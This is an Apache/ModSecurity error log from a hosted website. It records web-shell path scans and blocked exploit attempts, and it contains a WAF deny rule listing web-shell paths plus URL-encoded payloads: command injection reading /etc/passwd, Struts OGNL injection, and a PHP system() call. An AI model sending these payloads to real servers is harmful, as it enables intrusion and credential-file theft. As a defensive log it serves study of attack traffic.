[Thu Nov 20 02:53:49.662083 2025] [:error] [pid 11265:tid 11282] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php, referer: https://www.google.fr/
[Thu Nov 20 02:53:49.871783 2025] [:error] [pid 11265:tid 11273] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php, referer: https://www.google.de/
[Thu Nov 20 02:53:52.356752 2025] [:error] [pid 11265:tid 11274] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php, referer: https://duckduckgo.com/
[Thu Nov 20 02:53:52.795334 2025] [:error] [pid 11265:tid 11275] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php, referer: https://www.google.de/
[Thu Nov 20 02:53:53.254629 2025] [:error] [pid 11265:tid 11288] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php, referer: https://www.google.de/
[Thu Nov 20 02:53:53.912855 2025] [:error] [pid 11265:tid 11291] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/xmrlpc.php, referer: https://www.google.com/
[Thu Nov 20 02:53:54.126515 2025] [:error] [pid 11265:tid 11270] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php, referer: https://www.google.co.uk/
[Thu Nov 20 02:53:54.363028 2025] [:error] [pid 11265:tid 11287] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/.__info.php, referer: https://www.yahoo.com/
[Thu Nov 20 02:53:54.799123 2025] [:error] [pid 11265:tid 11279] [client 4.206.89.49:17385] [client 4.206.89.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.206.89.49, incrementing ddos counter"] [hostname "windfarmcoolants.com.au"] [uri "/xmlrpc.php"] [unique_id "aR4SQi7bjlU5JLV744xZsgAAAAw"], referer: https://www.google.de/
[Thu Nov 20 02:53:54.802683 2025] [:error] [pid 11265:tid 11279] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/xmlrpc.php, referer: https://www.google.de/
[Thu Nov 20 02:53:55.277277 2025] [:error] [pid 11265:tid 11285] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/aaa.php, referer: https://www.google.co.uk/
[Thu Nov 20 02:53:55.915868 2025] [:error] [pid 11265:tid 11276] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/akcc.php, referer: https://www.bing.com/
[Thu Nov 20 02:53:56.182537 2025] [:error] [pid 11265:tid 11290] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/build.php, referer: https://www.yahoo.com/
[Thu Nov 20 02:53:56.456329 2025] [:error] [pid 11265:tid 11283] [client 4.206.89.49:17385] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php, referer: https://www.google.co.uk/
[Thu Nov 20 02:53:56.899888 2025] [:error] [pid 11265:tid 11281] [client 4.206.89.49:17385] [client 4.206.89.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "aR4SRC7bjlU5JLV744xZugAAAA4"], referer: https://www.google.com/
[Thu Nov 20 02:53:58.330171 2025] [:error] [pid 8872:tid 8894] [client 4.206.89.49:17403] File does not exist: /usr/local/apache/htdocs/suspended-page/flower.php, referer: https://www.bing.com/
[Thu Nov 20 02:53:59.342065 2025] [:error] [pid 8872:tid 8896] [client 4.206.89.49:17403] File does not exist: /usr/local/apache/htdocs/suspended-page/mari.php, referer: https://www.google.fr/
[Thu Nov 20 02:53:59.552395 2025] [:error] [pid 8872:tid 8883] [client 4.206.89.49:17403] File does not exist: /usr/local/apache/htdocs/suspended-page/nc4.php, referer: https://www.google.co.uk/
[Thu Nov 20 02:54:00.435805 2025] [:error] [pid 8872:tid 8878] [client 4.206.89.49:17403] [client 4.206.89.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aR4SSDkBDH0q-89RJLFPYAAAA0M"], referer: https://www.yahoo.com/
[Thu Nov 20 02:54:02.175383 2025] [:error] [pid 50236:tid 50367] [client 4.206.89.49:17291] File does not exist: /usr/local/apache/htdocs/suspended-page/xleet.php, referer: https://www.bing.com/
[Thu Nov 20 02:54:03.385019 2025] [:error] [pid 50236:tid 50365] [client 4.206.89.49:17291] File does not exist: /usr/local/apache/htdocs/suspended-page/asasx.php, referer: https://www.bing.com/
[Thu Nov 20 02:54:03.666102 2025] [:error] [pid 50236:tid 50375] [client 4.206.89.49:17291] File does not exist: /usr/local/apache/htdocs/suspended-page/file2.php, referer: https://www.bing.com/
[Thu Nov 20 02:54:04.651662 2025] [:error] [pid 50236:tid 50364] [client 4.206.89.49:17291] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-cron.php, referer: https://www.google.de/
[Thu Nov 20 02:54:05.650772 2025] [:error] [pid 50236:tid 50381] [client 4.206.89.49:17291] [client 4.206.89.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aR4STWT-l-atWVKihhsy0gAAAJM"], referer: https://duckduckgo.com/
[Thu Nov 20 02:54:07.705837 2025] [:error] [pid 50223:tid 50341] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/f5.php, referer: https://duckduckgo.com/
[Thu Nov 20 02:54:07.932948 2025] [:error] [pid 50223:tid 50352] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/god4m.php, referer: https://www.bing.com/
[Thu Nov 20 02:54:08.357754 2025] [:error] [pid 50223:tid 50350] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/0.php, referer: https://www.google.co.uk/
[Thu Nov 20 02:54:08.725024 2025] [:error] [pid 50223:tid 50349] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/07.php, referer: https://www.google.com/
[Thu Nov 20 02:54:08.939908 2025] [:error] [pid 50223:tid 50346] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php, referer: https://www.google.co.uk/
[Thu Nov 20 02:54:09.474226 2025] [:error] [pid 50223:tid 50339] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/makeasmtp.php, referer: https://www.yahoo.com/
[Thu Nov 20 02:54:09.684986 2025] [:error] [pid 50223:tid 50355] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-sigunq.php, referer: https://www.google.co.uk/
[Thu Nov 20 02:54:09.896036 2025] [:error] [pid 50223:tid 50354] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/wso112233.php, referer: https://www.google.de/
[Thu Nov 20 02:54:10.204310 2025] [:error] [pid 50223:tid 50340] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/alfanew.php, referer: https://www.google.com/
[Thu Nov 20 02:54:10.527140 2025] [:error] [pid 50223:tid 50347] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/fw.php, referer: https://duckduckgo.com/
[Thu Nov 20 02:54:10.755805 2025] [:error] [pid 50223:tid 50357] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/install.php, referer: https://www.google.fr/
[Thu Nov 20 02:54:10.965030 2025] [:error] [pid 50223:tid 50352] [client 4.206.89.49:17404] [client 4.206.89.49] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.206.89.49, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "aR4SUj4iSUKl66cdvvbqMAAAAFE"], referer: https://www.google.de/
[Thu Nov 20 02:54:10.968858 2025] [:error] [pid 50223:tid 50352] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php, referer: https://www.google.de/
[Thu Nov 20 02:54:11.177482 2025] [:error] [pid 50223:tid 50348] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php, referer: https://www.google.co.uk/
[Thu Nov 20 02:54:12.463185 2025] [:error] [pid 50223:tid 50348] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php, referer: https://www.google.fr/
[Thu Nov 20 02:54:12.715423 2025] [:error] [pid 50223:tid 50335] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/classsmtps.php, referer: https://www.bing.com/
[Thu Nov 20 02:54:12.925330 2025] [:error] [pid 50223:tid 50346] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog-header.php, referer: https://www.bing.com/
[Thu Nov 20 02:54:13.422667 2025] [:error] [pid 50223:tid 50340] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-trackback.php, referer: https://www.google.com/
[Thu Nov 20 02:54:13.633207 2025] [:error] [pid 50223:tid 50347] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php, referer: https://www.google.de/
[Thu Nov 20 02:54:13.933384 2025] [:error] [pid 50223:tid 50357] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-comments-post.php, referer: https://www.google.co.uk/
[Thu Nov 20 02:54:14.171182 2025] [:error] [pid 50223:tid 50342] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-load.php, referer: https://www.google.com/
[Thu Nov 20 02:54:14.384369 2025] [:error] [pid 50223:tid 50341] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php, referer: https://www.bing.com/
[Thu Nov 20 02:54:14.904382 2025] [:error] [pid 50223:tid 50352] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-activate.php, referer: https://www.yahoo.com/
[Thu Nov 20 02:54:15.131615 2025] [:error] [pid 50223:tid 50359] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/plugins.php, referer: https://duckduckgo.com/
[Thu Nov 20 02:54:15.346466 2025] [:error] [pid 50223:tid 50335] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/post.php, referer: https://www.google.fr/
[Thu Nov 20 02:54:15.555319 2025] [:error] [pid 50223:tid 50350] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-2019.php, referer: https://www.google.de/
[Thu Nov 20 02:54:15.889049 2025] [:error] [pid 50223:tid 50349] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/geju.php, referer: https://www.bing.com/
[Thu Nov 20 02:54:16.101868 2025] [:error] [pid 50223:tid 50344] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php, referer: https://www.google.com/
[Thu Nov 20 02:54:16.336592 2025] [:error] [pid 50223:tid 50358] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/hoot.php, referer: https://duckduckgo.com/
[Thu Nov 20 02:54:16.559183 2025] [:error] [pid 50223:tid 50346] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/css.php, referer: https://www.google.fr/
[Thu Nov 20 02:54:16.946253 2025] [:error] [pid 50223:tid 50339] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/log.php, referer: https://www.google.co.uk/
[Thu Nov 20 02:54:17.155733 2025] [:error] [pid 50223:tid 50355] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/mail.php, referer: https://www.bing.com/
[Thu Nov 20 02:54:17.414321 2025] [:error] [pid 50223:tid 50354] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/bak.php, referer: https://duckduckgo.com/
[Thu Nov 20 02:54:17.839262 2025] [:error] [pid 50223:tid 50356] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/content.php, referer: https://www.google.com/
[Thu Nov 20 02:54:18.286472 2025] [:error] [pid 50223:tid 50351] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/upfile.php, referer: https://www.google.co.uk/
[Thu Nov 20 02:54:18.497112 2025] [:error] [pid 50223:tid 50340] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-conflg.php, referer: https://duckduckgo.com/
[Thu Nov 20 02:54:18.737222 2025] [:error] [pid 50223:tid 50338] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass.php, referer: https://www.google.com/
[Thu Nov 20 02:54:18.947669 2025] [:error] [pid 50223:tid 50348] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/404.php, referer: https://www.google.fr/
[Thu Nov 20 02:54:19.172051 2025] [:error] [pid 50223:tid 50342] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/updates.php, referer: https://www.google.de/
[Thu Nov 20 02:54:20.027402 2025] [:error] [pid 50223:tid 50352] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/radio.php, referer: https://www.google.com/
[Thu Nov 20 02:54:20.237519 2025] [:error] [pid 50223:tid 50359] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/ae.php, referer: https://www.google.co.uk/
[Thu Nov 20 02:54:20.450376 2025] [:error] [pid 50223:tid 50335] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/blog.php, referer: https://www.google.com/
[Thu Nov 20 02:54:20.661834 2025] [:error] [pid 50223:tid 50350] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/themes.php, referer: https://www.bing.com/
[Thu Nov 20 02:54:20.872545 2025] [:error] [pid 50223:tid 50349] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/ini.php, referer: https://www.google.de/
[Thu Nov 20 02:54:21.548944 2025] [:error] [pid 50223:tid 50344] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/as.php, referer: https://www.bing.com/
[Thu Nov 20 02:54:21.760316 2025] [:error] [pid 50223:tid 50358] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/shell.php, referer: https://duckduckgo.com/
[Thu Nov 20 02:54:22.316450 2025] [:error] [pid 50223:tid 50339] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/ws.php, referer: https://duckduckgo.com/
[Thu Nov 20 02:54:22.542129 2025] [:error] [pid 50223:tid 50355] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/123.php, referer: https://www.google.com/
[Thu Nov 20 02:54:23.224851 2025] [:error] [pid 50223:tid 50354] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/9.php, referer: https://www.google.co.uk/
[Thu Nov 20 02:54:23.856729 2025] [:error] [pid 50223:tid 50351] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/admin-ajax.php, referer: https://www.google.de/
[Thu Nov 20 02:54:24.093937 2025] [:error] [pid 50223:tid 50340] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/akc.php, referer: https://www.google.fr/
[Thu Nov 20 02:54:24.365257 2025] [:error] [pid 50223:tid 50347] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/asd.php, referer: https://www.google.fr/
[Thu Nov 20 02:54:24.601797 2025] [:error] [pid 50223:tid 50336] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/axx.php, referer: https://www.google.fr/
[Thu Nov 20 02:54:24.816199 2025] [:error] [pid 50223:tid 50343] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/berax.php, referer: https://www.bing.com/
[Thu Nov 20 02:54:25.368831 2025] [:error] [pid 50223:tid 50345] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/checkbox.php, referer: https://www.google.fr/
[Thu Nov 20 02:54:25.580740 2025] [:error] [pid 50223:tid 50342] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/file4.php, referer: https://www.google.fr/
[Thu Nov 20 02:54:25.790771 2025] [:error] [pid 50223:tid 50341] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/form.php, referer: https://www.yahoo.com/
[Thu Nov 20 02:54:26.010718 2025] [:error] [pid 50223:tid 50352] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/gecko.php, referer: https://duckduckgo.com/
[Thu Nov 20 02:54:26.223779 2025] [:error] [pid 50223:tid 50335] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/kyami.php, referer: https://www.google.co.uk/
[Thu Nov 20 02:54:26.481634 2025] [:error] [pid 50223:tid 50349] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/manager.php, referer: https://www.google.co.uk/
[Thu Nov 20 02:54:26.694266 2025] [:error] [pid 50223:tid 50358] [client 4.206.89.49:17404] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-admin.php, referer: https://www.bing.com/
[Thu Nov 20 03:51:10.611088 2025] [:error] [pid 35156:tid 35189] [client 144.48.39.84:57046] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /pages/systemcall.php?command=cat%20/etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/pages/systemcall.php"] [unique_id "aR4frs27951RUXDRzIwc0gAAANY"]
[Thu Nov 20 03:51:10.618416 2025] [:error] [pid 35048:tid 35087] [client 144.48.39.84:57060] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Found 1 byte(s) in ARGS:search outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||www.windfarmcoolants.com.au|F|3"] [data "ARGS:search==\\x00{.cookie|ZKFy0E|value=CVE-2014-6287.}"] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aR4frkpvaIt7E5CaFw3pLgAAABc"]
[Thu Nov 20 03:51:10.624948 2025] [:error] [pid 35050:tid 35120] [client 144.48.39.84:57080] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%2..."] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aR4frpQztlZGE1-LGfmAQwAAAIA"]
[Thu Nov 20 03:51:10.630616 2025] [:error] [pid 35156:tid 35171] [client 144.48.39.84:57072] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /ajax/render/widget_tabbedcontainer_tab_panel"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/ajax/render/widget_tabbedcontainer_tab_panel"] [unique_id "aR4frs27951RUXDRzIwc0wAAAMQ"]
[Thu Nov 20 03:51:10.638712 2025] [:error] [pid 35050:tid 35138] [client 144.48.39.84:57088] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /PDC/ajaxreq.php?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/PDC/ajaxreq.php"] [unique_id "aR4frpQztlZGE1-LGfmARAAAAJE"]
[Thu Nov 20 03:51:10.648213 2025] [:error] [pid 35156:tid 35191] [client 144.48.39.84:57106] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat%20/etc/passwd%0a'&PW"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/kerbynet"] [unique_id "aR4frs27951RUXDRzIwc1AAAANg"]
[Thu Nov 20 03:51:10.648225 2025] [:error] [pid 35156:tid 35188] [client 144.48.39.84:57102] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/fuel/pages/select/"] [unique_id "aR4frs27951RUXDRzIwc1QAAANU"]
[Thu Nov 20 03:51:10.706709 2025] [:error] [pid 35050:tid 35139] [client 144.48.39.84:57144] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /?name=%25%7B%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3F%28%23_memberAccess%3D%23dm%29%3A%28%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ognlUtil.getExcludedClasses%28%29.clear%28%29%29.%28%23context.setMemberAccess..."] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/"] [unique_id "aR4frpQztlZGE1-LGfmARgAAAJI"]
[Thu Nov 20 03:51:10.707835 2025] [:error] [pid 35049:tid 35096] [client 144.48.39.84:57160] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;/root/kerbynet.cgi/scripts/getkey%20../../../etc/passwd;%22"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/kerbynet"] [unique_id "aR4frstQlMEnibYlZqhaDgAAAEU"]
[Thu Nov 20 03:51:10.978186 2025] [:error] [pid 35050:tid 35131] [client 144.48.39.84:57038] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php"] [unique_id "aR4frpQztlZGE1-LGfmASgAAAIo"]
[Thu Nov 20 03:51:11.193275 2025] [:error] [pid 35156:tid 35169] [client 144.48.39.84:57178] [client 144.48.39.84] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||www.windfarmcoolants.com.au|F|2"] [data "TX:0=x-application/hessian"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.windfarmcoolants.com.au"] [uri "/mifs/.;/services/LogService"] [unique_id "aR4fr827951RUXDRzIwc1gAAAMI"], referer: https://www.windfarmcoolants.com.au
[Thu Nov 20 03:51:11.207419 2025] [:error] [pid 35049:tid 35097] [client 144.48.39.84:57212] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /user.action"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.windfarmcoolants.com.au"] [uri "/user.action"] [unique_id "aR4fr8tQlMEnibYlZqhaEgAAAEY"]
[Thu Nov 20 03:51:11.446212 2025] [:error] [pid 35050:tid 35142] [client 144.48.39.84:57244] [client 144.48.39.84] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "www.windfarmcoolants.com.au"] [uri "/soap.cgi"] [unique_id "aR4fr5QztlZGE1-LGfmATwAAAJU"]
[Thu Nov 20 03:51:11.447756 2025] [:error] [pid 35050:tid 35142] [client 144.48.39.84:57244] [client 144.48.39.84] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||www.windfarmcoolants.com.au|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "www.windfarmcoolants.com.au"] [uri "/soap.cgi"] [unique_id "aR4fr5QztlZGE1-LGfmATwAAAJU"]
